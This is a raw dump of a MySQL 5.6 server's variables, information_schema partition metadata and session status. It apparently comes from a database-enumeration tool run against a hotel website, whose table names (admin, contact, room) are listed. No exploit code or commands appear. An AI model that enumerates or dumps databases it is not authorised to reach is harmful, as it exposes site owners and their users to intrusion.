CHARACTER_SET_DATABASE | latin1 | | HAVE_COMPRESS | YES | | TIME_FORMAT | %H:%i:%s | | SIMPLIFIED_BINLOG_GTID_RECOVERY | OFF | | SQL_QUOTE_SHOW_CREATE | ON | | THREAD_CACHE_SIZE | 13 | | RELAY_LOG | | | INNODB_DOUBLEWRITE | ON | | READ_ONLY | OFF | | INNODB_STATS_PERSISTENT | ON | | INNODB_FT_CACHE_SIZE | 8000000 | | DEFAULT_WEEK_FORMAT | 0 | | COLLATION_SERVER | latin1_swedish_ci | | INNODB_CHANGE_BUFFER_MAX_SIZE | 25 | | PERFORMANCE_SCHEMA_MAX_TABLE_INSTANCES | -1 | | HAVE_QUERY_CACHE | YES | | INNODB_USE_NATIVE_AIO | ON | | SYNC_RELAY_LOG | 10000 | | GTID_PURGED | | | MAX_DELAYED_THREADS | 20 | | INNODB_UNDO_TABLESPACES | 0 | | LC_TIME_NAMES | en_US | | INNODB_FORCE_LOAD_CORRUPTED | OFF | | INNODB_FT_MAX_TOKEN_SIZE | 84 | | SOCKET | /var/lib/mysql/mysql.sock | | INNODB_FT_MIN_TOKEN_SIZE | 3 | | HAVE_RTREE_KEYS | YES | | INNODB_FT_USER_STOPWORD_TABLE | | | PROFILING | OFF | | SERVER_ID | 0 | | PLUGIN_DIR | /usr/lib64/mysql/plugin/ | | SQL_BUFFER_RESULT | OFF | | KEY_CACHE_BLOCK_SIZE | 1024 | | INNODB_BUFFER_POOL_SIZE | 134217728 | | MAX_TMP_TABLES | 32 | | SYNC_RELAY_LOG_INFO | 10000 | | MASTER_VERIFY_CHECKSUM | OFF | | SSL_CERT | | | DEFAULT_TMP_STORAGE_ENGINE | InnoDB | | INNODB_FT_ENABLE_STOPWORD | ON | | STORED_PROGRAM_CACHE | 256 | | INNODB_STATS_PERSISTENT_SAMPLE_PAGES | 20 | | MYISAM_STATS_METHOD | nulls_unequal | | PERFORMANCE_SCHEMA_SESSION_CONNECT_ATTRS_SIZE | -1 | | CONNECT_TIMEOUT | 10 | | AVOID_TEMPORAL_UPGRADE | OFF | | SLAVE_SQL_VERIFY_CHECKSUM | ON | | INNODB_CHANGE_BUFFERING | all | | INNODB_LOG_FILE_SIZE | 50331648 | | TMP_TABLE_SIZE | 16777216 | | SECURE_AUTH | ON | | INNODB_API_DISABLE_ROWLOCK | OFF | | MAX_WRITE_LOCK_COUNT | 18446744073709551615 | | INTERACTIVE_TIMEOUT | 28800 | | SQL_SELECT_LIMIT | 18446744073709551615 | | SYSTEM_TIME_ZONE | +07 | | SLAVE_LOAD_TMPDIR | /tmp | | FT_MIN_WORD_LEN | 4 | | WAIT_TIMEOUT | 28800 | | INNODB_LARGE_PREFIX | OFF | | FLUSH | OFF | | NET_READ_TIMEOUT | 30 | | INNODB_FLUSH_METHOD | | | INNODB_PURGE_THREADS | 1 | | MYISAM_MMAP_SIZE | 18446744073709551615 | | GTID_MODE | OFF | | INNODB_CHECKSUMS | ON | | STORAGE_ENGINE | MyISAM | | INNODB_LOCKS_UNSAFE_FOR_BINLOG | OFF | | KEY_CACHE_DIVISION_LIMIT | 100 | | HAVE_SSL | DISABLED | | INNODB_BUFFER_POOL_DUMP_AT_SHUTDOWN | OFF | | IGNORE_DB_DIRS | | | SLAVE_CHECKPOINT_GROUP | 512 | | INNODB_BUFFER_POOL_LOAD_AT_STARTUP | OFF | | LOG_BIN_BASENAME | | | VERSION | 5.6.43 | | INNODB_CONCURRENCY_TICKETS | 5000 | | BULK_INSERT_BUFFER_SIZE | 8388608 | | INNODB_MAX_DIRTY_PAGES_PCT_LWM | 0 | | OPTIMIZER_SWITCH | index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,engine_condition_pushdown=on,index_condition_pushdown=on,mrr=on,mrr_cost_based=on,block_nested_loop=on,batched_key_access=off,materialization=on,semijoin=on,loosescan=on,firstmatch=on,subquery_materialization_cost_based=on,use_index_extensions=on | | NEW | OFF | | MAX_JOIN_SIZE | 18446744073709551615 | | FOREIGN_KEY_CHECKS | ON | | PROTOCOL_VERSION | 10 | | INNODB_MONITOR_RESET | | | INNODB_STATS_AUTO_RECALC | ON | | SYNC_MASTER_INFO | 10000 | | INNODB_COMMIT_CONCURRENCY | 0 | | UPDATABLE_VIEWS_WITH_LIMIT | YES | | INNODB_MIRRORED_LOG_GROUPS | 1 | | INNODB_STATS_ON_METADATA | OFF | | INNODB_PURGE_BATCH_SIZE | 300 | | INNODB_DATA_FILE_PATH | ibdata1:12M:autoextend | | THREAD_STACK | 262144 | | PERFORMANCE_SCHEMA_MAX_DIGEST_LENGTH | 1024 | | INNODB_SUPPORT_XA | ON | | INNODB_FT_SORT_PLL_DEGREE | 2 | | MYISAM_SORT_BUFFER_SIZE | 8388608 | | BASEDIR | /usr/ | | INNODB_COMPRESSION_LEVEL | 6 | | INNODB_ADAPTIVE_FLUSHING | ON | | SKIP_EXTERNAL_LOCKING | ON | | INNODB_FILE_PER_TABLE | ON | | CHARACTER_SET_SYSTEM | utf8 | | INNODB_LOG_FILES_IN_GROUP | 2 | | MYISAM_REPAIR_THREADS | 1 | | DIV_PRECISION_INCREMENT | 4 | | SQL_WARNINGS | OFF | | DATADIR | /var/lib/mysql/ | | LOG_OUTPUT | FILE | | INNODB_DATA_HOME_DIR | | | INNODB_MAX_DIRTY_PAGES_PCT | 75 | | INNODB_READ_IO_THREADS | 4 | | INNODB_WRITE_IO_THREADS | 4 | | INNODB_CHECKSUM_ALGORITHM | innodb | | INNODB_BUFFER_POOL_INSTANCES | 8 | | INNODB_OPEN_FILES | 2000 | | INNODB_UNDO_DIRECTORY | . | | THREAD_CONCURRENCY | 10 | | CHARACTER_SET_CLIENT | latin1 | | INNODB_FT_RESULT_CACHE_LIMIT | 2000000000 | | TIME_ZONE | SYSTEM | | OPTIMIZER_TRACE_MAX_MEM_SIZE | 16384 | | VERSION_COMPILE_MACHINE | x86_64 | | INNODB_OLD_BLOCKS_PCT | 37 | | MAX_ALLOWED_PACKET | 268435456 | | INNODB_FT_TOTAL_CACHE_SIZE | 640000000 | | RELAY_LOG_RECOVERY | OFF | | INNODB_API_ENABLE_MDL | OFF | | INNODB_VERSION | 5.6.43 | | INNODB_FILE_FORMAT_CHECK | ON | +--------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ Database: information_schema Table: PARTITIONS [70 entries] +----------+-----------+-----------+------------+---------------------------------------+---------------------+---------------------+---------------------+-------------+--------------+-------------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+ | CHECKSUM | NODEGROUP | DATA_FREE | TABLE_ROWS | TABLE_NAME | CHECK_TIME | UPDATE_TIME | CREATE_TIME | DATA_LENGTH | INDEX_LENGTH | TABLE_SCHEMA | TABLE_CATALOG | AVG_ROW_LENGTH | PARTITION_NAME | TABLESPACE_NAME | MAX_DATA_LENGTH | PARTITION_METHOD | SUBPARTITION_NAME | PARTITION_COMMENT | SUBPARTITION_METHOD | PARTITION_EXPRESSION | PARTITION_DESCRIPTION | SUBPARTITION_EXPRESSION | PARTITION_ORDINAL_POSITION | SUBPARTITION_ORDINAL_POSITION | +----------+-----------+-----------+------------+---------------------------------------+---------------------+---------------------+---------------------+-------------+--------------+-------------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+ | NULL | | 0 | 0 | CHARACTER_SETS | NULL | NULL | 2021-07-05 10:14:47 | 0 | 0 | information_schema | def | 384 | NULL | NULL | 16434816 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATIONS | NULL | NULL | 2021-07-05 10:14:47 | 0 | 0 | information_schema | def | 231 | NULL | NULL | 16704765 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLLATION_CHARACTER_SET_APPLICABILITY | NULL | NULL | 2021-07-05 10:14:48 | 0 | 0 | information_schema | def | 195 | NULL | NULL | 16357770 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLUMNS | NULL | 2021-07-05 10:14:49 | 2021-07-05 10:14:49 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | COLUMN_PRIVILEGES | NULL | NULL | 2021-07-05 10:14:50 | 0 | 0 | information_schema | def | 2565 | NULL | NULL | 16757145 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | ENGINES | NULL | NULL | 2021-07-05 10:14:50 | 0 | 0 | information_schema | def | 490 | NULL | NULL | 16574250 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | EVENTS | NULL | 2021-07-05 10:14:51 | 2021-07-05 10:14:51 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | FILES | NULL | NULL | 2021-07-05 10:14:52 | 0 | 0 | information_schema | def | 2659 | NULL | NULL | 16743723 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | GLOBAL_STATUS | NULL | NULL | 2021-07-05 10:14:52 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | GLOBAL_VARIABLES | NULL | NULL | 2021-07-05 10:14:53 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | KEY_COLUMN_USAGE | NULL | NULL | 2021-07-05 10:14:54 | 0 | 0 | information_schema | def | 4637 | NULL | NULL | 16762755 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | OPTIMIZER_TRACE | NULL | 2021-07-05 10:14:54 | 2021-07-05 10:14:54 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PARAMETERS | NULL | 2021-07-05 10:14:55 | 2021-07-05 10:14:55 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PARTITIONS | NULL | 2021-07-05 10:14:55 | 2021-07-05 10:14:55 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PLUGINS | NULL | 2021-07-05 10:14:57 | 2021-07-05 10:14:57 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PROCESSLIST | NULL | 2021-07-05 10:14:57 | 2021-07-05 10:14:57 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | PROFILING | NULL | NULL | 2021-07-05 10:14:58 | 0 | 0 | information_schema | def | 308 | NULL | NULL | 16562084 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | REFERENTIAL_CONSTRAINTS | NULL | NULL | 2021-07-05 10:14:59 | 0 | 0 | information_schema | def | 4814 | NULL | NULL | 16767162 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | ROUTINES | NULL | 2021-07-05 10:15:00 | 2021-07-05 10:15:00 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SCHEMATA | NULL | NULL | 2021-07-05 10:15:00 | 0 | 0 | information_schema | def | 3464 | NULL | NULL | 16738048 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SCHEMA_PRIVILEGES | NULL | NULL | 2021-07-05 10:15:01 | 0 | 0 | information_schema | def | 2179 | NULL | NULL | 16736899 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SESSION_STATUS | NULL | NULL | 2021-07-05 10:15:02 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | SESSION_VARIABLES | NULL | NULL | 2021-07-05 10:15:03 | 0 | 0 | information_schema | def | 3268 | NULL | NULL | 16755036 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | STATISTICS | NULL | NULL | 2021-07-05 10:15:04 | 0 | 0 | information_schema | def | 5753 | NULL | NULL | 16752736 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLES | NULL | NULL | 2021-07-05 10:15:05 | 0 | 0 | information_schema | def | 9441 | NULL | NULL | 16757775 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLESPACES | NULL | NULL | 2021-07-05 10:15:05 | 0 | 0 | information_schema | def | 6951 | NULL | NULL | 16772763 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLE_CONSTRAINTS | NULL | NULL | 2021-07-05 10:15:06 | 0 | 0 | information_schema | def | 2504 | NULL | NULL | 16721712 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TABLE_PRIVILEGES | NULL | NULL | 2021-07-05 10:15:07 | 0 | 0 | information_schema | def | 2372 | NULL | NULL | 16748692 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | TRIGGERS | NULL | 2021-07-05 10:15:07 | 2021-07-05 10:15:07 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | USER_PRIVILEGES | NULL | NULL | 2021-07-05 10:15:08 | 0 | 0 | information_schema | def | 1986 | NULL | NULL | 16726092 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | VIEWS | NULL | 2021-07-05 10:15:09 | 2021-07-05 10:15:09 | 0 | 1024 | information_schema | def | 0 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_LOCKS | NULL | NULL | 2021-07-05 10:15:10 | 0 | 0 | information_schema | def | 31244 | NULL | NULL | 16746784 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_TRX | NULL | NULL | 2021-07-05 10:15:11 | 0 | 0 | information_schema | def | 4536 | NULL | NULL | 16746912 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_SYS_DATAFILES | NULL | NULL | 2021-07-05 10:15:12 | 0 | 0 | information_schema | def | 12007 | NULL | NULL | 16773779 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_LOCK_WAITS | NULL | NULL | 2021-07-05 10:15:12 | 0 | 0 | information_schema | def | 599 | NULL | NULL | 16749238 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_SYS_TABLESTATS | NULL | NULL | 2021-07-05 10:15:13 | 0 | 0 | information_schema | def | 1215 | NULL | NULL | 16763355 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_CMP | NULL | NULL | 2021-07-05 10:15:14 | 0 | 0 | information_schema | def | 25 | NULL | NULL | 13107200 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_METRICS | NULL | NULL | 2021-07-05 10:15:14 | 0 | 0 | information_schema | def | 2994 | NULL | NULL | 16742448 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_CMP_RESET | NULL | NULL | 2021-07-05 10:15:15 | 0 | 0 | information_schema | def | 25 | NULL | NULL | 13107200 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_CMP_PER_INDEX | NULL | NULL | 2021-07-05 10:15:16 | 0 | 0 | information_schema | def | 1755 | NULL | NULL | 16728660 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_CMPMEM_RESET | NULL | NULL | 2021-07-05 10:15:17 | 0 | 0 | information_schema | def | 29 | NULL | NULL | 15204352 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_FT_DELETED | NULL | NULL | 2021-07-05 10:15:17 | 0 | 0 | information_schema | def | 9 | NULL | NULL | 9437184 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_BUFFER_PAGE_LRU | NULL | NULL | 2021-07-05 10:15:18 | 0 | 0 | information_schema | def | 6669 | NULL | NULL | 16765866 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_SYS_FOREIGN | NULL | NULL | 2021-07-05 10:15:18 | 0 | 0 | information_schema | def | 1752 | NULL | NULL | 16700064 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_SYS_COLUMNS | NULL | NULL | 2021-07-05 10:15:19 | 0 | 0 | information_schema | def | 610 | NULL | NULL | 16613350 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_SYS_INDEXES | NULL | NULL | 2021-07-05 10:15:20 | 0 | 0 | information_schema | def | 614 | NULL | NULL | 16722290 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_FT_DEFAULT_STOPWORD | NULL | NULL | 2021-07-05 10:15:20 | 0 | 0 | information_schema | def | 56 | NULL | NULL | 14680064 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_SYS_FIELDS | NULL | NULL | 2021-07-05 10:15:21 | 0 | 0 | information_schema | def | 594 | NULL | NULL | 16609428 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_CMP_PER_INDEX_RESET | NULL | NULL | 2021-07-05 10:15:22 | 0 | 0 | information_schema | def | 1755 | NULL | NULL | 16728660 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_BUFFER_PAGE | NULL | NULL | 2021-07-05 10:15:23 | 0 | 0 | information_schema | def | 6852 | NULL | NULL | 16766844 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_CMPMEM | NULL | NULL | 2021-07-05 10:15:24 | 0 | 0 | information_schema | def | 29 | NULL | NULL | 15204352 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_FT_INDEX_TABLE | NULL | NULL | 2021-07-05 10:15:24 | 0 | 0 | information_schema | def | 1054 | NULL | NULL | 16744898 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_FT_BEING_DELETED | NULL | NULL | 2021-07-05 10:15:25 | 0 | 0 | information_schema | def | 9 | NULL | NULL | 9437184 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_SYS_TABLESPACES | NULL | NULL | 2021-07-05 10:15:26 | 0 | 0 | information_schema | def | 2082 | NULL | NULL | 16728870 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_FT_INDEX_CACHE | NULL | NULL | 2021-07-05 10:15:26 | 0 | 0 | information_schema | def | 1054 | NULL | NULL | 16744898 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_SYS_FOREIGN_COLS | NULL | NULL | 2021-07-05 10:15:27 | 0 | 0 | information_schema | def | 1748 | NULL | NULL | 16738848 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_SYS_TABLES | NULL | NULL | 2021-07-05 10:15:28 | 0 | 0 | information_schema | def | 2060 | NULL | NULL | 16743680 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_BUFFER_POOL_STATS | NULL | NULL | 2021-07-05 10:15:29 | 0 | 0 | information_schema | def | 257 | NULL | NULL | 16332350 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | INNODB_FT_CONFIG | NULL | NULL | 2021-07-05 10:15:29 | 0 | 0 | information_schema | def | 1163 | NULL | NULL | 16705332 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | admin | NULL | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | contact | NULL | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 304 | 37 | image | 2018-11-06 22:35:52 | 2019-01-13 22:20:28 | 2018-02-21 13:45:42 | 3532 | 2048 | cp227754_embryohotel_db | def | 87 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 14 | local_area | NULL | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | 1170 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 0 | news | NULL | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | 0 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 2 | room | NULL | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | 8192 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 7 | room_image | NULL | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | 2340 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 13 | room_option | NULL | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | 1260 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 12 | room_option_reletive | NULL | NULL | 2019-03-11 01:32:36 | 16384 | 0 | cp227754_embryohotel_db | def | 1365 | NULL | NULL | NULL | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 104 | 3 | slideshow | 2018-11-06 22:35:52 | 2019-05-03 19:32:39 | 2018-02-21 13:45:42 | 292 | 2048 | cp227754_embryohotel_db | def | 62 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | | NULL | | 0 | 1 | slideshow_mobile | 2018-11-06 22:35:52 | 2018-02-21 13:45:42 | 2018-02-21 13:45:42 | 48 | 2048 | cp227754_embryohotel_db | def | 48 | NULL | NULL | 281474976710655 | NULL | NULL | | NULL | NULL | NULL | NULL | NULL | NULL | +----------+-----------+-----------+------------+---------------------------------------+---------------------+---------------------+---------------------+-------------+--------------+-------------------------+---------------+----------------+----------------+-----------------+-----------------+------------------+-------------------+-------------------+---------------------+----------------------+-----------------------+-------------------------+----------------------------+-------------------------------+ Database: information_schema Table: SESSION_STATUS [341 entries] +-----------------------------------------------+----------------+ | VARIABLE_NAME | VARIABLE_VALUE | +-----------------------------------------------+----------------+ | COM_SAVEPOINT | 0 | | COM_SELECT | 2 | | COM_SET_OPTION | 1 | | COM_SIGNAL | 0 | | COM_SHOW_BINLOG_EVENTS | 0 | | COM_SHOW_BINLOGS | 0 | | COM_SHOW_CHARSETS | 0 | | COM_SHOW_COLLATIONS | 0 | | COM_SHOW_CREATE_DB | 0 | | COM_SHOW_CREATE_EVENT | 0 | | COM_SHOW_CREATE_FUNC | 0 | | COM_SHOW_CREATE_PROC | 0 | | COM_SHOW_CREATE_TABLE | 0 | | COM_SHOW_CREATE_TRIGGER | 0 | | COM_SHOW_DATABASES | 0 | | COM_SHOW_ENGINE_LOGS | 0 | | COM_SHOW_ENGINE_MUTEX | 0 | | COM_SHOW_ENGINE_STATUS | 0 | | COM_SHOW_EVENTS | 0 | | COM_SHOW_ERRORS | 0 | | COM_SHOW_FIELDS | 0 | | COM_SHOW_FUNCTION_CODE | 0 | | COM_SHOW_FUNCTION_STATUS | 0 | | COM_SHOW_GRANTS | 0 | | COM_SHOW_KEYS | 0 | | COM_SHOW_MASTER_STATUS | 0 | | COM_SHOW_OPEN_TABLES | 0 | | COM_SHOW_PLUGINS | 0 | | COM_SHOW_PRIVILEGES | 0 | | COM_SHOW_PROCEDURE_CODE | 0 | | COM_SHOW_PROCEDURE_STATUS | 0 | | COM_SHOW_PROCESSLIST | 0 | | COM_SHOW_PROFILE | 0 | | COM_SHOW_PROFILES | 0 | | COM_SHOW_RELAYLOG_EVENTS | 0 | | COM_SHOW_SLAVE_HOSTS | 0 | | COM_SHOW_SLAVE_STATUS | 0 | | COM_SHOW_STATUS | 0 | | COM_SHOW_STORAGE_ENGINES | 0 | | COM_SHOW_TABLE_STATUS | 0 | | COM_SHOW_TABLES | 0 | | COM_SHOW_TRIGGERS | 0 | | COM_SHOW_VARIABLES | 0 | | COM_SHOW_WARNINGS | 0 | | COM_SLAVE_START | 0 | | COM_SLAVE_STOP | 0 | | COM_STMT_CLOSE | 0 | | COM_STMT_EXECUTE | 0 | | COM_STMT_FETCH | 0 | | COM_STMT_PREPARE | 0 | | COM_STMT_REPREPARE | 0 | | COM_STMT_RESET | 0 | | COM_STMT_SEND_LONG_DATA | 0 | | COM_TRUNCATE | 0 | | COM_UNINSTALL_PLUGIN | 0 | | COM_UNLOCK_TABLES | 0 | | COM_UPDATE | 0 | | COM_UPDATE_MULTI | 0 | | COM_XA_COMMIT | 0 | | COM_XA_END | 0 | | COM_XA_PREPARE | 0 | | COM_XA_RECOVER | 0 | | COM_XA_ROLLBACK | 0 | | COM_XA_START | 0 | | COMPRESSION | OFF | | CONNECTION_ERRORS_ACCEPT | 0 | | CONNECTION_ERRORS_INTERNAL | 0 | | CONNECTION_ERRORS_MAX_CONNECTIONS | 0 | | CONNECTION_ERRORS_PEER_ADDRESS | 274 | | CONNECTION_ERRORS_SELECT | 0 | | CONNECTION_ERRORS_TCPWRAP | 0 | | CONNECTIONS | 50526556 | | CREATED_TMP_DISK_TABLES | 1 | | CREATED_TMP_FILES | 8361552 | | CREATED_TMP_TABLES | 2 | | DELAYED_ERRORS | 0 | | DELAYED_INSERT_THREADS | 0 | | DELAYED_WRITES | 0 | | FLUSH_COMMANDS | 1 | | HANDLER_COMMIT | 1 | | HANDLER_DELETE | 0 | | HANDLER_DISCOVER | 0 | | HANDLER_EXTERNAL_LOCK | 3 | | HANDLER_MRR_INIT | 0 | | HANDLER_PREPARE | 0 | | HANDLER_READ_FIRST | 1 | | HANDLER_READ_KEY | 2 | | HANDLER_READ_LAST | 0 | | HANDLER_READ_NEXT | 2 | | HANDLER_READ_PREV | 0 | | HANDLER_READ_RND | 0 | | HANDLER_READ_RND_NEXT | 0 | | HANDLER_ROLLBACK | 0 | | HANDLER_SAVEPOINT | 0 | | HANDLER_SAVEPOINT_ROLLBACK | 0 | | HANDLER_UPDATE | 0 | | HANDLER_WRITE | 181 | | INNODB_BUFFER_POOL_DUMP_STATUS | not started | | INNODB_BUFFER_POOL_LOAD_STATUS | not started | | INNODB_BUFFER_POOL_PAGES_DATA | 6999 | | INNODB_BUFFER_POOL_BYTES_DATA | 115032064 | | INNODB_BUFFER_POOL_PAGES_DIRTY | 112 | | INNODB_BUFFER_POOL_BYTES_DIRTY | 1835008 | | INNODB_BUFFER_POOL_PAGES_FLUSHED | 35141473 | | INNODB_BUFFER_POOL_PAGES_FREE | 1024 | | INNODB_BUFFER_POOL_PAGES_MISC | 173 | | INNODB_BUFFER_POOL_PAGES_TOTAL | 8191 | | INNODB_BUFFER_POOL_READ_AHEAD_RND | 0 | | INNODB_BUFFER_POOL_READ_AHEAD | 36572644 | | INNODB_BUFFER_POOL_READ_AHEAD_EVICTED | 191010 | | INNODB_BUFFER_POOL_READ_REQUESTS | 144905642668 | | INNODB_BUFFER_POOL_READS | 180281861 | | INNODB_BUFFER_POOL_WAIT_FREE | 2051 | | INNODB_BUFFER_POOL_WRITE_REQUESTS | 254055400 | | INNODB_DATA_FSYNCS | 25451239 | | INNODB_DATA_PENDING_FSYNCS | 0 | | INNODB_DATA_PENDING_READS | 0 | | INNODB_DATA_PENDING_WRITES | 0 | | INNODB_DATA_READ | 3564183015424 | | INNODB_DATA_READS | 217557287 | | INNODB_DATA_WRITES | 56743283 | | 